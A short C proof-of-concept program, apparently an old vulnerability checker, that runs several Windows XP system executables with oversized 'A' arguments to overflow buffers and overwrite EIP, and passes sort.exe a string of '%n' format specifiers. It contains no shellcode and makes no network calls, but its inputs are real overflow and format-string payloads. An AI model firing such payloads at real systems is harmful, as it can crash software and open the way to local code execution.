#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(){

	char *programs[]={"immc.exe ", "eventvwr.exe ", "netsetup.exe ", "mrinfo.exe ", "sort.exe "};
	int parameters[]={285, 848, 285, 71};
	char buffer[1024];
	int i, j;

	printf("\t\t*** Windows Xp Local bugs checker ***\r\n\t\t\tCreated by Komrade\r\n\t\t    http://unsecure.altervista.org\r\n\r\n");

	printf("After a program has checked, if you see an error window it means that you are vulnerable. You can verify that the EIP is overwritten viewing the Offset of \"41414141\" or \"00410041\" (Unicode)\r\n\r\n");

	for(i = 0; i < 5; i++){
		system("pause");
		printf("Checking %s...\n", programs[i]);

		strcpy(buffer, programs[i]);

		if (i != 4){
			for(j = strlen(buffer); j < parameters[i]; j++)
				buffer[j]='A';
			buffer[j]=0;
		}
		else
			strcat(buffer, "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n");

		system(buffer);
	}

	return 0;
}
